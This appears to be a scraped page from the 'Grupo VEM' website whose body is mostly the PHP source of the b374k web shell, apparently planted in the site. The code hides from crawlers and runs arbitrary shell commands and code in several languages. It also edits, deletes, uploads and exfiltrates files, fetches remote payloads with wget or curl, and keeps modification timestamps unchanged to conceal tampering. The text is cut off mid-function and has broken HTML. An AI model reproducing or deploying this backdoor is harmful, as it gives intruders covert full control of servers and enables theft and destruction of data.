Grupo VEM

VEM >

Apoios 2019

?>










“;
echo $res;
die();
}
}
}
}

if(!function_exists(‘get_server_info’)){
function get_server_info(){
$server_addr = isset($_SERVER[‘SERVER_ADDR’])? $_SERVER[‘SERVER_ADDR’]:$_SERVER[“HTTP_HOST”];
$server_info[‘ip_adrress’] = “Server IP : “.$server_addr.” | Your IP : “.$_SERVER[‘REMOTE_ADDR’];
$server_info[‘time_at_server’] = “Time @ Server : “.@date(“d M Y H:i:s”,time());
$server_info[‘uname’] = php_uname();
$server_software = (getenv(‘SERVER_SOFTWARE’)!=”)? getenv(‘SERVER_SOFTWARE’).” | “:”;
$server_info[‘software’] = $server_software.” PHP “.phpversion();
return $server_info;
}
}

if(!function_exists(‘get_self’)){
function get_self(){
$query = (isset($_SERVER[“QUERY_STRING”])&&(!empty($_SERVER[“QUERY_STRING”])))?”?”.$_SERVER[“QUERY_STRING”]:””;
return html_safe($_SERVER[“REQUEST_URI”].$query);
}
}

if(!function_exists(‘get_post’)){
function get_post(){
return fix_magic_quote($_POST);
}
}

if(!function_exists(‘get_nav’)){
function get_nav($path){
return parse_dir($path);
}
}

if(!function_exists(‘get_cwd’)){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE[‘cwd’])){
setcookie(“cwd”, $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE[‘cwd’]);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie(“cwd”, $cwd);
}
return $cwd;
}
}

if(!function_exists(‘wrap_with_quotes’)){
function wrap_with_quotes($str){
return “\””.$str.”\””;
}
}

if(!function_exists(‘get_resource’)){
function get_resource($type){
if(isset($GLOBALS[‘resources’][$type])){
return gzinflate(base64_decode($GLOBALS[‘resources’][$type]));
}
return false;
}
}

if(!function_exists(‘block_bot’)){
function block_bot(){
// block search engine bot
if(isset($_SERVER[‘HTTP_USER_AGENT’]) && (preg_match(‘/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i’, $_SERVER[‘HTTP_USER_AGENT’]))){
header(“HTTP/1.0 404 Not Found”);
header(“Status: 404 Not Found”);
die();
}
elseif(!isset($_SERVER[‘HTTP_USER_AGENT’])){
header(“HTTP/1.0 404 Not Found”);
header(“Status: 404 Not Found”);
die();
}
}
}

if(!function_exists(‘is_win’)){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == “win”)? true : false;
}
}

if(!function_exists(‘fix_magic_quote’)){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get(‘magic_quotes_sybase’));
if(function_exists(‘get_magic_quotes_gpc’) && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === ‘off’)? stripslashes($v) : stripslashes(str_replace(“\’\'”, “\'”, $v));
}
}
}
return $arr;
}
}

if(!function_exists(‘execute’)){
function execute($code){
$output = “”;
$code = $code.” 2>&1″;

if(is_callable(‘system’) && function_exists(‘system’)){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable(‘shell_exec’) && function_exists(‘shell_exec’)){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable(‘exec’) && function_exists(‘exec’)){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable(‘passthru’) && function_exists(‘passthru’)){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable(‘proc_open’) && function_exists(‘proc_open’)){
$desc = array(
0 => array(“pipe”, “r”),
1 => array(“pipe”, “w”),
2 => array(“pipe”, “w”));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable(‘popen’) && function_exists(‘popen’)){
$res = @popen($code, ‘r’);
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return “”;
}
}

if(!function_exists(‘html_safe’)){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}

if(!function_exists(‘parse_dir’)){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = “”;
for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "“.html_safe($paths[$i]).” “.DIRECTORY_SEPARATOR.” “;
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}

if(!function_exists(‘zip’)){
function zip($files, $archive){
$status = false;
if(!extension_loaded(‘zip’)) return $status;
if(class_exists(“ZipArchive”)){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;

if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), ”, $file);
$file = str_replace(‘\\’, ‘/’, $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace(‘\\’, ‘/’, $iterator);
if(in_array(substr($iterator, strrpos($iterator, ‘/’)+1), array(‘.’, ‘..’))) continue;

if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.’/’, ”, $iterator.’/’));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.’/’, ”, $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}

if(!function_exists(‘compress’)){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type==’zip’){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type==’tar’)||($type==’targz’)){
$archive = basename($archive);

$listsBasename = array_map(“basename”, $files);
$lists = array_map(“wrap_with_quotes”, $listsBasename);

if($type==’tar’) execute(“tar cf \””.$archive.”\” “.implode(” “, $lists));
elseif($type==’targz’) execute(“tar czf \””.$archive.”\” “.implode(” “, $lists));

if(is_file($archive)) return true;
else return false;
}
return false;
}
}

if(!function_exists(‘decompress’)){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type==’unzip’){
if(class_exists(‘ZipArchive’)){
$zip = new ZipArchive();
$target = $path.basename($archive,”.zip”);
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type==’untar’){
$target = basename($archive,”.tar”);
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute(“tar xf \””.basename($archive).”\” -C \””.$target.”\””);
$after = count(get_all_files($target));
if($before!=$after) $status = true;

}
elseif($type==’untargz’){
$target = “”;
if(strpos(strtolower($archive), “.tar.gz”)!==false) $target = basename($archive,”.tar.gz”);
elseif(strpos(strtolower($archive), “.tgz”)!==false) $target = basename($archive,”.tgz”);

if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute(“tar xzf \””.basename($archive).”\” -C \””.$target.”\””);
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}

if(!function_exists(‘download’)){
function download($url ,$saveas){
if(!preg_match(“/[a-z]+:\/\/.+/”,$url)) return false;
$filename = basename($url);

if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}

$buff = execute(“wget “.$url.” -O “.$saveas);
if(is_file($saveas)) return true;

$buff = execute(“curl “.$url.” -o “.$saveas);
if(is_file($saveas)) return true;

$buff = execute(“lwp-download “.$url.” “.$saveas);
if(is_file($saveas)) return true;

$buff = execute(“lynx -source “.$url.” > “.$saveas);
if(is_file($saveas)) return true;

return false;
}
}

if(!function_exists(‘get_fileperms’)){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = ‘u’;
if(($perms & 0xC000) == 0xC000)$flag = ‘s’;
elseif(($perms & 0xA000) == 0xA000)$flag = ‘l’;
elseif(($perms & 0x8000) == 0x8000)$flag = ‘-‘;
elseif(($perms & 0x6000) == 0x6000)$flag = ‘b’;
elseif(($perms & 0x4000) == 0x4000)$flag = ‘d’;
elseif(($perms & 0x2000) == 0x2000)$flag = ‘c’;
elseif(($perms & 0x1000) == 0x1000)$flag = ‘p’;
$flag .= ($perms & 00400)? ‘r’:’-‘;
$flag .= ($perms & 00200)? ‘w’:’-‘;
$flag .= ($perms & 00100)? ‘x’:’-‘;
$flag .= ($perms & 00040)? ‘r’:’-‘;
$flag .= ($perms & 00020)? ‘w’:’-‘;
$flag .= ($perms & 00010)? ‘x’:’-‘;
$flag .= ($perms & 00004)? ‘r’:’-‘;
$flag .= ($perms & 00002)? ‘w’:’-‘;
$flag .= ($perms & 00001)? ‘x’:’-‘;
return $flag;
}
else return “???????????”;
}
}

if(!function_exists(‘format_bit’)){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array(‘B’,’KB’,’MB’,’GB’,’TB’,’PB’,’EB’,’ZB’,’YB’);
return round(pow(1024, $base – floor($base)),2).” “.$suffixes[floor($base)];
}
}

if(!function_exists(‘get_filesize’)){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0; return format_bit($size); } else return "???"; } } if(!function_exists('get_filemtime')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); } } if(!function_exists('get_fileowner')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name['name'].":".$group['name']; } return $owner; } } if(!function_exists('rmdirs')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; } } if(!function_exists('copys')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; } } if(!function_exists('get_all_files')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.'*'); for($i = 0; $i“, ““, $content);
$content = str_replace(““, ““, $content);
}
}
elseif($type==”image”){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = “Image type = ( “.$image_info[‘mime’].” )
Image Size = ( “.$width.” x “.$height.” )
“;
if($width > 800){
$width = 800;
$imglink = “


[ View Full Size ]

“;
}
else $imglink = “”;

$content = “

“.$image_info_h.”
“.$imglink.”
".$file."

“;

}
elseif($type==”multimedia”){
$content = “


Load Multimedia File

“;
}
elseif($type==”edit”){
$preservecbox = ($preserveTimestamp==’true’)? ” cBoxSelected”:””;
$content = “
save

preserve modification timestamp

“;
}
elseif($type==”hex”){
$preservecbox = ($preserveTimestamp==’true’)? ” cBoxSelected”:””;
$content = “

save

preserve modification timestamp

“;
}
else $content = “

".html_safe(read_file($file))."

“;

$output .= ”

“.$owner.”

Filename “.html_safe($file).”
Size “.get_filesize($file).” (“.filesize($file).”)
Permission “.get_fileperms($file).”
Create time “.@date(“d-M-Y H:i:s”,filectime($file)).”
Last modified “.@date(“d-M-Y H:i:s”,filemtime($file)).”
Last accessed “.@date(“d-M-Y H:i:s”,fileatime($file)).”
explorer
action
raw
code
hex
image
multimedia
“.$content.”

“;

}
else $output = “error”;
return $output;
}
}

if(!function_exists(‘get_writabledir’)){
function get_writabledir(){
if(is_writable(“.”)) return realpath(“.”).DIRECTORY_SEPARATOR;
else{
foreach(array(‘TMP’, ‘TEMP’, ‘TMPDIR’) as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists(“sys_get_temp_dir”)){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable(“/tmp”)) return “/tmp/”; }
}

$tempfile = tempnam(__FILE__,”);
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}

if(!function_exists(‘get_drives’)){
function get_drives(){
$drives = “”;
$v = explode(“\\”, get_cwd());
$v = $v[0];
foreach (range(“A”, “Z”) as $letter){
if(@is_readable($letter.”:\\”)){
$drives .= “[ “;
if($letter.”:” != $v) $drives .= $letter;
else{$drives .= ““.$letter.”“;}
$drives .= ” ]
“;
}
}
return $drives;
}
}

if(!function_exists(‘show_all_files’)){
function show_all_files($path){
if(!is_dir($path)) return “No such directory : “.$path;
chdir($path);
$output = “”;
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!=’.’)&&($file!=”..”)){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}

array_unshift($allfolders, “.”);
$cur = getcwd();
chdir(“..”);
if(getcwd()!=$cur) array_unshift($allfolders, “..”);
chdir($cur);

natcasesort($allfolders);
natcasesort($allfiles);

$cols = array();
if(is_win()){
$cols = array(
“perms”=>”get_fileperms”,
“modified”=>”get_filemtime”
);
}
else{
$cols = array(
“owner”=>”get_fileowner”,
“perms”=>”get_fileperms”,
“modified”=>”get_filemtime”
);
}

$totalFiles = count($allfiles);
$totalFolders = 0;

$output .= “

“;
$output .= “

“;

foreach($cols as $k=>$v){
$output .= “

“;
}
$output .= “

“;

foreach($allfolders as $d){
$cboxException = “”;
if(($d==”.”)||($d==”..”)){
$action = “actiondot”;
$cboxException = ” cBoxException”;
}
else{
$action = “actionfolder”;
$totalFolders++;
}
$output .= ”

“;
foreach($cols as $k=>$v){
$sortable = “”;
if($k==’modified’) $sortable = ” title='”.filemtime($d).”‘”;
$output .= ““.$v($d).”

“;
}
$output .= “

“;
}
foreach($allfiles as $f){
$output .= ”

“;
foreach($cols as $k=>$v){
$sortable = “”;
if($k==’modified’) $sortable = ” title='”.filemtime($f).”‘”;
$output .= ““.$v($f).”

“;
}
$output .= “

“;
}
$output .= “

“;

$colspan = 1 + count($cols);
$output .= “

“;
$output .= “

name size “.$k.”
[ “.html_safe($d).” ]action DIR
“.html_safe($f).”action “.get_filesize($f).”
“.$totalFiles.” file(s), “.$totalFolders.” Folder(s)

“;
return $output;
}
}

if(!function_exists(‘eval_get_supported’)){
function eval_get_supported(){
$eval_supported = array();

$eval_supported[] = “php”;

$check = strtolower(execute(“python -h”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “python”;

$check = strtolower(execute(“perl -h”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “perl”;

$check = strtolower(execute(“ruby -h”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “ruby”;

$check = strtolower(execute(“node -h”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “node”;
else{
$check = strtolower(execute(“nodejs -h”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “nodejs”;
}

$check = strtolower(execute(“gcc –help”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “gcc”;

$check = strtolower(execute(“java -help”));
if(strpos($check,”usage”)!==false){
$check = strtolower(execute(“javac -help”));
if(strpos($check,”usage”)!==false) $eval_supported[] = “java”;
}

return implode(“,”, $eval_supported);
}
}

if(!function_exists(‘eval_go’)){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = “”;
$output = “”;
if($evalOptions!=””) $evalOptions = $evalOptions.” “;
if($evalArguments!=””) $evalArguments = ” “.$evalArguments;

if($evalType==”php”){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType==”python”)||($evalType==”perl”)||($evalType==”ruby”)||($evalType==”node”)||($evalType==”nodejs”)){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= “Using dir : “.$tmpdir;
if(is_writable($tmpdir)){
$res .= ” (writable)\n”;
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= “Temporary file : “.$path;
if(write_file($path, $evalCode)){
$res .= ” (ok)\n”;
$res .= “Setting permissions : 0755″;
if(chmod($path, 0755)){
$res .= ” (ok)\n”;
$cmd = $evalType.” “.$evalOptions.$path.$evalArguments;
$res .= “Execute : “.$cmd.”\n”;
$output = execute($cmd);
}
else $res .= ” (failed)\n”;

$res .= “Deleting temporary file : “.$path;
if(unlink($path)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
}
else $res .= ” (not writable)\n”;

$res .= “Finished…”;
return $res.”{[|b374k|]}”.$output;
}
elseif($evalType==”gcc”){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= “Using dir : “.$tmpdir;
if(is_writable($tmpdir)){
$res .= ” (writable)\n”;
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.”.c”;
$path = $filename;
$res .= “Temporary file : “.$path;
if(write_file($path, $evalCode)){
$res .= ” (ok)\n”;
$ext = (is_win())? “.exe”:”.out”;
$pathres = $filename.$ext;
$evalOptions = “-o “.$pathres.” “.$evalOptions;
$cmd = “gcc “.$evalOptions.$path;
$res .= “Compiling : “.$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= ” (ok)\n”;
$res .= “Setting permissions : 0755″;
if(chmod($pathres, 0755)){
$res .= ” (ok)\n”;
$cmd = $pathres.$evalArguments;
$res .= “Execute : “.$cmd.”\n”;
$output = execute($cmd);
}
else $res .= ” (failed)\n”;
$res .= “Deleting temporary file : “.$pathres;
if(unlink($pathres)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
$res .= “Deleting temporary file : “.$path;
if(unlink($path)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
}
else $res .= ” (not writable)\n”;

$res .= “Finished…”;
return $res.”{[|b374k|]}”.$output;
}
elseif($evalType==”java”){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= “Using dir : “.$tmpdir;
if(is_writable($tmpdir)){
$res .= ” (writable)\n”;

if(preg_match(“/class\ ([^{]+){/i”,$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = “class “.$filename.” { “.$evalCode . ” } “;
}

$path = $filename.”.java”;
$res .= “Temporary file : “.$path;
if(write_file($path, $evalCode)){
$res .= ” (ok)\n”;
$cmd = “javac “.$evalOptions.$path;
$res .= “Compiling : “.$cmd;
$res .= execute($cmd);
$pathres = $filename.”.class”;
if(is_file($pathres)){
$res .= ” (ok)\n”;
$res .= “Setting permissions : 0755″;
if(chmod($pathres, 0755)){
$res .= ” (ok)\n”;
$cmd = “java “.$filename.$evalArguments;
$res .= “Execute : “.$cmd.”\n”;
$output = execute($cmd);
}
else $res .= ” (failed)\n”;
$res .= “Deleting temporary file : “.$pathres;
if(unlink($pathres)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
$res .= “Deleting temporary file : “.$path;
if(unlink($path)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
}
else $res .= ” (not writable)\n”;

$res .= “Finished…”;
return $res.”{[|b374k|]}”.$output;
}
elseif($evalType==”executable”){
$tmpdir = get_writabledir();
chdir($tmpdir);

$res .= “Using dir : “.$tmpdir;
if(is_writable($tmpdir)){
$res .= ” (writable)\n”;
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.”.exe”;
$path = $filename;
$res .= “Temporary file : “.$path;
if(write_file($path, $evalCode)){
$res .= ” (ok)\n”;
$cmd = $path.$evalArguments;
$res .= “Execute : “.$cmd.”\n”;
$output = execute($cmd);

$res .= “Deleting temporary file : “.$path;
if(unlink($path)) $res .= ” (ok)\n”;
else $res .= ” (failed)\n”;
}
else $res .= ” (failed)\n”;
}
else $res .= ” (not writable)\n”;

$res .= “Finished…”;
return $res.”{[|b374k|]}”.$output;
}
return false;
}
}

if(!function_exists(‘output’)){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header(“Content-Type: text/plain”);
header(“Cache-Control: no-cache”);
header(“Pragma: no-cache”);
echo $str;
die();
}
}
block_bot();
auth();
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map(“rawurldecode”, get_post());
$cwd = html_safe(get_cwd());
$GLOBALS[‘module’] = array();

$explorer_content = “”;
if(isset($p[‘viewEntry’])){
$path = trim($p[‘viewEntry’]);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie(“cwd”, $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, “auto”);
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie(“cwd”, $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());

$GLOBALS[‘module’][‘explorer’][‘id’] = “explorer”;
$GLOBALS[‘module’][‘explorer’][‘title’] = “Explorer”;
$GLOBALS[‘module’][‘explorer’][‘js_ontabselected’] = “”;
$GLOBALS[‘module’][‘explorer’][‘content’] = $explorer_content;

$GLOBALS[‘module’][‘terminal’][‘id’] = “terminal”;
$GLOBALS[‘module’][‘terminal’][‘title’] = “Terminal”;
$GLOBALS[‘module’][‘terminal’][‘js_ontabselected’] = ”
if((!portableMode) && ($(‘#terminalOutput’).html()==”)) $(‘#terminalInput’).focus();”;
$GLOBALS[‘module’][‘terminal’][‘content’] = “


“.get_cwd().”>

“;

$GLOBALS[‘module’][‘eval’][‘id’] = “eval”;
$GLOBALS[‘module’][‘eval’][‘title’] = “Eval”;
$GLOBALS[‘module’][‘eval’][‘js_ontabselected’] = ”
if((!portableMode) && ($(‘#evalOutput’).html()==’You can also press ctrl+enter to submit’)) $(‘#evalInput’).focus();”;
$GLOBALS[‘module’][‘eval’][‘content’] = ”

Eval


run
You can also press ctrl+enter to submit

“;

$res = “”;
if(isset($p[‘cd’])){
$path = $p[‘cd’];
if(trim($path)==”) $path = dirname(__FILE__);

$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie(“cwd”, $path);
$res = $path.”{[|b374k|]}”.get_nav($path).”{[|b374k|]}”;
if(isset($p[‘showfiles’])&&($p[‘showfiles’]==’true’)){
$res .= show_all_files($path);
}
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘viewFile’]) && isset($p[‘viewType’])){
$path = trim($p[‘viewFile’]);
$type = trim($p[‘viewType’]);
$preserveTimestamp = trim($p[‘preserveTimestamp’]);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘renameFile’]) && isset($p[‘renameFileTo’])){
$renameFile = trim($p[‘renameFile’]);
$renameFileTo = trim($p[‘renameFileTo’]);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = “error”;
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘newFolder’])){
$newFolder = trim($p[‘newFolder’]);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘newFile’])){
$newFile = trim($p[‘newFile’]);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘delete’])){
$path = trim($p[‘delete’]);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = “error”;
if(file_exists($path)) $res = “error”;
output($res);
}
elseif(isset($p[‘editType’])&&isset($p[‘editFilename’])&&isset($p[‘editInput’])&&isset($p[‘preserveTimestamp’])){
$editFilename = trim($p[‘editFilename’]);
$editInput = trim($p[‘editInput’]);
$editType = trim($p[‘editType’]);
$preserveTimestamp = trim($p[‘preserveTimestamp’]);
$time = filemtime($editFilename);
if($editType==’hex’) $editInput = pack(“H*” , preg_replace(“/\s/”,””, $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp==’true’) touch($editFilename, $time);
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘findType’])){
$findType = trim($p[‘findType’]);
$findPath = trim($p[‘findPath’]);
$findName = trim($p[‘findName’]);
$findNameRegex = trim($p[‘findNameRegex’]);
$findNameInsensitive = trim($p[‘findNameInsensitive’]);
$findContent = trim($p[‘findContent’]);
$findContentRegex = trim($p[‘findContentRegex’]);
$findContentInsensitive = trim($p[‘findContentInsensitive’]);
$findReadable = trim($p[‘findReadable’]);
$findWritable = trim($p[‘findWritable’]);
$findExecutable = trim($p[‘findExecutable’]);

$candidate = get_all_files($findPath);
if($findType==’file’) $candidate = array_filter($candidate, “is_file”);
elseif($findType==’folder’) $candidate = array_filter($candidate, “is_dir”);
else $res = “error”;

foreach($candidate as $k){
if(($findType==”file”)||($findType==”folder”)){
if(!empty($findName)){
if($findNameRegex==”true”){
$case = ($findNameInsensitive==”true”)? “i”:””;
if(!preg_match(“/”.$findName.”/”.$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive==”true”){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}

if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType==”file”){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex==”true”){
$case = ($findContentInsensitive==”true”)? “i”:””;
if(!preg_match(“/”.$findContent.”/”.$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive==”true”){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}

foreach($candidate as $k){
if($findReadable==”true”){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
if($findWritable==”true”){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findExecutable==”true”){
if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
}
}

if(count($candidate)>0){
$res = “”;
foreach($candidate as $k){
$res .= “

> “.html_safe($k).”

“;
}
}
else $res = “”;
output($res);
}
elseif(isset($p[‘ulType’])){
$ulSaveTo = trim($p[‘ulSaveTo’]);
$ulFilename = trim($p[‘ulFilename’]);

if($p[‘ulType’]==’comp’){
$ulFile = $_FILES[‘ulFile’];
if(empty($ulFilename)) $ulFilename = $ulFile[‘name’];

if(is_uploaded_file($ulFile[‘tmp_name’])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile[‘tmp_name’], $newfile)){
$res = “> “.html_safe($newfile).” ( 100% )”;
}
else $res = “error”;
}
else $res = “error”;
}
elseif($p[‘ulType’]==’url’){
$ulFile = trim($p[‘ulFile’]);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;

if(download($ulFile, $newfile)){
$res = “> “.html_safe($newfile).” ( 100% )”;
}
else $res = “error”;
}
else $res = “error”;
output($res);
}
elseif(isset($p[‘download’])){
$file = trim($p[‘download’]);
if(is_file($file)){
header(“Content-Type: application/octet-stream”);
header(‘Content-Transfer-Encoding: binary’);
header(“Content-length: “.filesize($file));
header(“Cache-Control: no-cache”);
header(“Pragma: no-cache”);
header(“Content-disposition: attachment; filename=\””.basename($file).”\”;”);
$handler = fopen($file,”rb”);
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p[‘multimedia’])){
$file = trim($p[‘multimedia’]);
$mime_list = get_resource(‘mime’);
$mime = “”;
$file_ext_pos = strrpos($file, “.”);
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),”.”);
if(preg_match(“/([^\s]+)\ .*\b”.$file_ext.”\b.*/i”, $mime_list, $res)){
$mime = $res[1];
}
}

if(is_file($file)){
header(“Content-Type: “.$mime);
header(‘Content-Transfer-Encoding: binary’);
header(“Content-length: “.filesize($file));
echo “data:”.$mime.”;base64,”.base64_encode(read_file($file));
die();
}
}
elseif(isset($p[‘massType’])&&isset($p[‘massBuffer’])&&isset($p[‘massPath’])&&isset($p[‘massValue’])){
$massType = trim($p[‘massType’]);
$massBuffer = trim($p[‘massBuffer’]);
$massPath = realpath($p[‘massPath’]).DIRECTORY_SEPARATOR;
$massValue = trim($p[‘massValue’]);
$counter = 0;

$massBufferArr = explode(“\n”, $massBuffer);
